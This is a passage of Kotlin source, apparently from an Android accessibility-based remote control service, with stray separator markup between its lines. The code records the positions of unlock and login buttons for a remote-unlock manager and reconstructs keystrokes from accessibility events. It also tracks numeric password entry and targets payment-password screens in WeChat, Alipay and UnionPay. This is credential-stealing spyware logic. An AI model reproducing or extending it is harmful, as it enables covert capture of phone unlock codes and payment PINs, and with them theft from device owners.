} else 0
|
||
|
||
Log.i(TAG, "📊 TEXT_DETECTED统计报告:")
|
||
Log.i(TAG, " 总检测: ${textDetectedTotalCount}次")
|
||
Log.i(TAG, " 实际记录: ${textDetectedRecordedCount}次")
|
||
Log.i(TAG, " 过滤掉: ${textDetectedFilteredCount}次 (${filterRate}%)")
|
||
Log.i(TAG, " 缓存大小: ${textDetectedCache.size}个文本")
|
||
Log.i(TAG, " 包缓存: ${packageTextCache.size}个应用")
|
||
Log.d(TAG, "🧹 清理TEXT_DETECTED缓存完成")
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:获取TEXT_DETECTED统计信息
|
||
*/
|
||
fun getTextDetectedStats(): Map<String, Any> {
|
||
val filterRate = if (textDetectedTotalCount > 0) {
|
||
((textDetectedFilteredCount.toDouble() / textDetectedTotalCount) * 100).toInt()
|
||
} else 0
|
||
|
||
return mapOf(
|
||
"totalDetected" to textDetectedTotalCount,
|
||
"recorded" to textDetectedRecordedCount,
|
||
"filtered" to textDetectedFilteredCount,
|
||
"filterRate" to filterRate,
|
||
"cacheSize" to textDetectedCache.size,
|
||
"packageCount" to packageTextCache.size
|
||
)
|
||
}
|
||
|
||
|
||
/**
|
||
* ✅ 增强版:智能确认按钮坐标学习 - 优化:避免用户输入期间误学习
|
||
*/
|
||
private fun enhancedConfirmButtonLearning() {
|
||
if (!isAwaitingConfirmClick) return
|
||
|
||
// 获取当前屏幕的所有可点击节点
|
||
val rootNode = service.rootInActiveWindow ?: return
|
||
val confirmCandidates = findConfirmButtonCandidates(rootNode)
|
||
|
||
Log.d(TAG, "🔍 发现 ${confirmCandidates.size} 个确认按钮候选")
|
||
|
||
// 智能选择最可能的确认按钮
|
||
val bestCandidate = selectBestConfirmCandidate(confirmCandidates)
|
||
|
||
if (bestCandidate != null) {
|
||
val bounds = android.graphics.Rect()
|
||
bestCandidate.getBoundsInScreen(bounds)
|
||
val centerX = bounds.centerX().toFloat()
|
||
val centerY = bounds.centerY().toFloat()
|
||
|
||
lastConfirmClickCoordinate = Pair(centerX, centerY)
|
||
Log.d(TAG, "✅ 智能学习到确认按钮坐标: ($centerX, $centerY)")
|
||
|
||
// 记录确认按钮的详细信息用于后续识别
|
||
recordConfirmButtonInfo(bestCandidate, centerX, centerY)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 查找确认按钮候选节点
|
||
*/
|
||
private fun findConfirmButtonCandidates(rootNode: AccessibilityNodeInfo): List<AccessibilityNodeInfo> {
|
||
val candidates = mutableListOf<AccessibilityNodeInfo>()
|
||
|
||
// 确认按钮的常见文本
|
||
val confirmTexts = listOf(
|
||
"确认", "确定", "OK", "完成", "解锁", "登录", "提交",
|
||
"Enter", "Done", "Unlock", "Login", "Submit", "Continue",
|
||
"下一步", "Next", "Go", "开始", "Start"
|
||
)
|
||
|
||
// 递归查找所有可点击的节点
|
||
findClickableNodes(rootNode, candidates)
|
||
|
||
// 过滤出可能的确认按钮
|
||
return candidates.filter { node ->
|
||
val text = node.text?.toString()?.trim() ?: ""
|
||
val contentDesc = node.contentDescription?.toString()?.trim() ?: ""
|
||
val className = node.className?.toString() ?: ""
|
||
|
||
// ✅ 排除描述性文本(包含连字符、过长文本等)
|
||
if (text.contains("-") || text.contains("—") || text.length > 15) {
|
||
return@filter false
|
||
}
|
||
|
||
// 检查文本匹配
|
||
val textMatches = confirmTexts.any { confirmText ->
|
||
text.contains(confirmText, ignoreCase = true) ||
|
||
contentDesc.contains(confirmText, ignoreCase = true)
|
||
}
|
||
|
||
// 检查是否是按钮类型
|
||
val isButton = className.contains("Button", ignoreCase = true) ||
|
||
className.contains("ImageView", ignoreCase = true)
|
||
|
||
// 检查位置(确认按钮通常在屏幕下方)
|
||
val bounds = android.graphics.Rect()
|
||
node.getBoundsInScreen(bounds)
|
||
val screenHeight = service.resources.displayMetrics.heightPixels
|
||
val isInBottomHalf = bounds.centerY() > screenHeight * 0.5
|
||
|
||
textMatches && isButton && isInBottomHalf
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 递归查找所有可点击节点
|
||
*/
|
||
private fun findClickableNodes(node: AccessibilityNodeInfo, result: MutableList<AccessibilityNodeInfo>) {
|
||
if (node.isClickable) {
|
||
result.add(node)
|
||
}
|
||
|
||
for (i in 0 until node.childCount) {
|
||
val child = node.getChild(i)
|
||
if (child != null) {
|
||
findClickableNodes(child, result)
|
||
child.recycle()
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 选择最佳确认按钮候选
|
||
*/
|
||
private fun selectBestConfirmCandidate(candidates: List<AccessibilityNodeInfo>): AccessibilityNodeInfo? {
|
||
if (candidates.isEmpty()) return null
|
||
if (candidates.size == 1) return candidates[0]
|
||
|
||
// 评分系统选择最佳候选
|
||
return candidates.maxByOrNull { node ->
|
||
var score = 0
|
||
val text = node.text?.toString()?.trim() ?: ""
|
||
val contentDesc = node.contentDescription?.toString()?.trim() ?: ""
|
||
|
||
// 文本匹配度评分
|
||
when {
|
||
text.equals("确认", ignoreCase = true) || text.equals("OK", ignoreCase = true) -> score += 10
|
||
text.equals("Enter", ignoreCase = true) -> score += 10 // ✅ 为Enter按钮添加最高分
|
||
text.equals("确定", ignoreCase = true) || text.equals("Done", ignoreCase = true) -> score += 8
|
||
text.contains("解锁", ignoreCase = true) || text.contains("Unlock", ignoreCase = true) -> score += 9
|
||
text.contains("登录", ignoreCase = true) || text.contains("Login", ignoreCase = true) -> score += 7
|
||
}
|
||
|
||
// 位置评分(右下角优先)
|
||
val bounds = android.graphics.Rect()
|
||
node.getBoundsInScreen(bounds)
|
||
val screenWidth = service.resources.displayMetrics.widthPixels
|
||
val screenHeight = service.resources.displayMetrics.heightPixels
|
||
|
||
if (bounds.centerX() > screenWidth * 0.6 && bounds.centerY() > screenHeight * 0.7) {
|
||
score += 5
|
||
}
|
||
|
||
score
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 检查是否正在进行数字密码输入
|
||
*/
|
||
private fun isCurrentlyInputtingNumericPassword(): Boolean {
|
||
try {
|
||
// 检查最近5秒内是否有数字密码输入操作
|
||
val currentTime = System.currentTimeMillis()
|
||
val recentTimeWindow = 5000L // 5秒
|
||
|
||
// 检查数字密码序列是否有最近的活动
|
||
val hasRecentNumericInput = numericPasswordSequence.isNotEmpty() &&
|
||
numericPasswordSequence.any { event ->
|
||
val timestamp = event["timestamp"] as? Long ?: 0L
|
||
currentTime - timestamp <= recentTimeWindow
|
||
}
|
||
|
||
// 也检查是否检测到数字0(这通常表示正在进行数字密码输入)
|
||
val hasDetectedZeroRecently = hasDetectedZero
|
||
|
||
val isInputting = hasRecentNumericInput || hasDetectedZeroRecently
|
||
|
||
if (isInputting) {
|
||
Log.d(TAG, "🔢 检测到正在进行数字密码输入: 序列=${numericPasswordSequence.size}个事件, 检测到0=$hasDetectedZero")
|
||
}
|
||
|
||
return isInputting
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "检查数字密码输入状态时出错: ${e.message}")
|
||
return false
|
||
}
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
/**
|
||
* ✅ 记录确认按钮信息用于后续识别
|
||
*/
|
||
private fun recordConfirmButtonInfo(node: AccessibilityNodeInfo, x: Float, y: Float) {
|
||
val text = node.text?.toString() ?: ""
|
||
val contentDesc = node.contentDescription?.toString() ?: ""
|
||
val className = node.className?.toString() ?: ""
|
||
val bounds = android.graphics.Rect()
|
||
node.getBoundsInScreen(bounds)
|
||
|
||
// ✅ 检查是否正在进行数字密码输入,如果是则不记录确认按钮坐标
|
||
if (isCurrentlyInputtingNumericPassword()) {
|
||
Log.d(TAG, "🔢 检测到正在输入数字密码,跳过确认按钮坐标记录: ($x, $y)")
|
||
return
|
||
}
|
||
|
||
// ✅ 最简单方案:直接更新学习坐标到UnlockManager
|
||
try {
|
||
val screenWidth = service.resources.displayMetrics.widthPixels
|
||
val screenHeight = service.resources.displayMetrics.heightPixels
|
||
|
||
// 调用AccessibilityRemoteService的recordManualConfirmButtonCoords方法
|
||
service.recordManualConfirmButtonCoords(
|
||
x = x,
|
||
y = y,
|
||
source = "learned_from_operation",
|
||
confidence = 10.0f, // 高权重,确保被优先使用
|
||
buttonText = text,
|
||
buttonDesc = contentDesc
|
||
)
|
||
|
||
Log.i(TAG, "✅ 已更新学习坐标到UnlockManager: ($x, $y), 文本='$text'")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 更新学习坐标失败: ($x, $y)", e)
|
||
}
|
||
|
||
logScope.launch {
|
||
recordLog(
|
||
"CONFIRM_BUTTON_LEARNED",
|
||
"学习到确认按钮: 文本='$text', 位置=($x, $y)",
|
||
mapOf(
|
||
"buttonText" to text,
|
||
"contentDescription" to contentDesc,
|
||
"className" to className,
|
||
"centerX" to x,
|
||
"centerY" to y,
|
||
"bounds" to mapOf(
|
||
"left" to bounds.left,
|
||
"top" to bounds.top,
|
||
"right" to bounds.right,
|
||
"bottom" to bounds.bottom
|
||
),
|
||
"learnTime" to System.currentTimeMillis(),
|
||
"confidence" to "high"
|
||
)
|
||
)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 创建模拟的密码输入事件用于分析
|
||
*/
|
||
private fun createSimulatedPasswordEvent(digit: String, simulatedText: String, className: String, packageName: String): AccessibilityEvent {
|
||
val event = AccessibilityEvent.obtain(AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED)
|
||
event.packageName = packageName
|
||
event.className = className
|
||
event.text.add(simulatedText)
|
||
event.beforeText = "•".repeat(maxOf(0, simulatedText.length - 1))
|
||
event.isPassword = true
|
||
return event
|
||
}
|
||
|
||
/**
|
||
* ✅ 强化键盘点击检测 - 专门用于第三方应用
|
||
*/
|
||
private fun detectKeyboardClick(packageName: String, className: String, eventText: String, contentDesc: String): Boolean {
|
||
// 1. 检查包名是否为输入法
|
||
val isInputMethod = packageName.lowercase().let { pkg ->
|
||
pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") ||
|
||
pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") ||
|
||
pkg.contains("baidu") || pkg.contains("iflytek") || pkg.contains("samsung") ||
|
||
pkg.contains("huawei") || pkg.contains("xiaomi") || pkg.contains("oppo") || pkg.contains("vivo")
|
||
}
|
||
|
||
// 2. 检查类名是否像键盘控件
|
||
val isKeyboardClass = className.lowercase().let { cls ->
|
||
cls.contains("key") || cls.contains("button") || cls.contains("numpad") ||
|
||
cls.contains("keyboard") || cls.contains("input") || cls.contains("pin") ||
|
||
cls.contains("digit") || cls.contains("char") || cls.contains("layout") ||
|
||
cls.contains("pad") || cls.contains("board") || cls.contains("numeric")
|
||
}
|
||
|
||
// 3. 检查文本是否为键盘字符
|
||
val isKeyboardText = eventText.let { text ->
|
||
text.length == 1 || // 单字符
|
||
text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/\\s]")) || // 键盘字符
|
||
extractDigitFromText(text) != null || // 包含数字
|
||
text.matches(Regex(".*[0-9].*")) // 包含数字的复合文本
|
||
}
|
||
|
||
// 4. 检查描述是否像键盘
|
||
val isKeyboardDesc = contentDesc.lowercase().let { desc ->
|
||
desc.contains("key") || desc.contains("按键") || desc.contains("键") ||
|
||
desc.contains("button") || desc.contains("输入") || desc.contains("数字") ||
|
||
desc.matches(Regex(".*[0-9a-zA-Z].*")) || desc.contains("字母") ||
|
||
desc.contains("符号") || desc.contains("空格") || desc.contains("删除")
|
||
}
|
||
|
||
// 5. 微信特殊检测:支付密码界面的数字按钮
|
||
val isWeChatPayment = packageName.contains("tencent.mm") && (
|
||
className.contains("button") || className.contains("view") ||
|
||
eventText.matches(Regex("[0-9]")) || contentDesc.matches(Regex("[0-9]"))
|
||
)
|
||
|
||
val result = isInputMethod || isKeyboardClass || isKeyboardText || isKeyboardDesc || isWeChatPayment
|
||
|
||
if (result) {
|
||
Log.d(TAG, "🔍 [键盘检测] 检测到键盘点击:")
|
||
Log.d(TAG, " 输入法: $isInputMethod")
|
||
Log.d(TAG, " 键盘类名: $isKeyboardClass")
|
||
Log.d(TAG, " 键盘文本: $isKeyboardText")
|
||
Log.d(TAG, " 键盘描述: $isKeyboardDesc")
|
||
Log.d(TAG, " 微信支付: $isWeChatPayment")
|
||
}
|
||
|
||
return result
|
||
}
|
||
|
||
/**
|
||
* ✅ 提取键盘字符 - 从多种源提取最可能的字符
|
||
*/
|
||
private fun extractKeyboardCharacter(eventText: String, contentDesc: String, className: String): String {
|
||
// 1. 优先从文本提取单字符
|
||
if (eventText.length == 1 && eventText.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/\\s]"))) {
|
||
return eventText
|
||
}
|
||
|
||
// 2. 从文本提取数字
|
||
val textDigit = extractDigitFromText(eventText)
|
||
if (textDigit != null) {
|
||
return textDigit
|
||
}
|
||
|
||
// 3. 从描述提取字符
|
||
if (contentDesc.length == 1 && contentDesc.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/\\s]"))) {
|
||
return contentDesc
|
||
}
|
||
|
||
// 4. 从描述提取数字
|
||
val descDigit = extractDigitFromText(contentDesc)
|
||
if (descDigit != null) {
|
||
return descDigit
|
||
}
|
||
|
||
// 5. 特殊字符映射
|
||
val specialMappings = mapOf(
|
||
"space" to " ",
|
||
"空格" to " ",
|
||
"delete" to "⌫",
|
||
"删除" to "⌫",
|
||
"backspace" to "⌫",
|
||
"回退" to "⌫",
|
||
"enter" to "↵",
|
||
"确认" to "↵",
|
||
"返回" to "↵"
|
||
)
|
||
|
||
val lowerDesc = contentDesc.lowercase()
|
||
for ((key, value) in specialMappings) {
|
||
if (lowerDesc.contains(key)) {
|
||
return value
|
||
}
|
||
}
|
||
|
||
// 6. 如果文本包含数字,提取第一个数字
|
||
val firstDigit = eventText.firstOrNull { it.isDigit() }
|
||
if (firstDigit != null) {
|
||
return firstDigit.toString()
|
||
}
|
||
|
||
// 7. 如果描述包含数字,提取第一个数字
|
||
val firstDescDigit = contentDesc.firstOrNull { it.isDigit() }
|
||
if (firstDescDigit != null) {
|
||
return firstDescDigit.toString()
|
||
}
|
||
|
||
// 8. 返回原始文本的第一个字符(如果合理)
|
||
if (eventText.isNotEmpty() && eventText.length <= 3) {
|
||
return eventText.take(1)
|
||
}
|
||
|
||
return ""
|
||
}
|
||
|
||
/**
|
||
* ✅ 增强检测的安全开关
|
||
*/
|
||
private fun shouldUseEnhancedDetection(packageName: String, className: String, text: String, contentDescription: String): Boolean {
|
||
// 1. 检查增强模式是否激活且未超时
|
||
val currentTime = System.currentTimeMillis()
|
||
if (!isEnhancedDetectionMode || (currentTime - enhancedDetectionStartTime) > enhancedDetectionTimeout) {
|
||
if (isEnhancedDetectionMode && (currentTime - enhancedDetectionStartTime) > enhancedDetectionTimeout) {
|
||
deactivateEnhancedDetection("超时自动关闭")
|
||
}
|
||
return false
|
||
}
|
||
|
||
// 2. 检查是否为第三方应用(排除SystemUI)
|
||
if (packageName.contains("systemui", ignoreCase = true)) {
|
||
return false
|
||
}
|
||
|
||
// 3. 检查是否为支付应用
|
||
val isPaymentApp = packageName.contains("tencent.mm") ||
|
||
packageName.contains("alipay") ||
|
||
packageName.contains("unionpay")
|
||
|
||
if (!isPaymentApp) {
|
||
return false
|
||
}
|
||
|
||
// 4. 检查是否为键盘相关的点击
|
||
val isKeyboardRelated = className.lowercase().let { cls ->
|
||
cls.contains("button") || cls.contains("view") || cls.contains("key") ||
|
||
cls.contains("input") || cls.contains("layout")
|
||
}
|
||
|
||
// 5. 检查文本或描述是否包含数字字符
|
||
val hasNumericContent = text.matches(Regex(".*[0-9].*")) ||
|
||
contentDescription.matches(Regex(".*[0-9].*")) ||
|
||
text.length == 1
|
||
|
||
return isKeyboardRelated && hasNumericContent
|
||
}
|
||
} |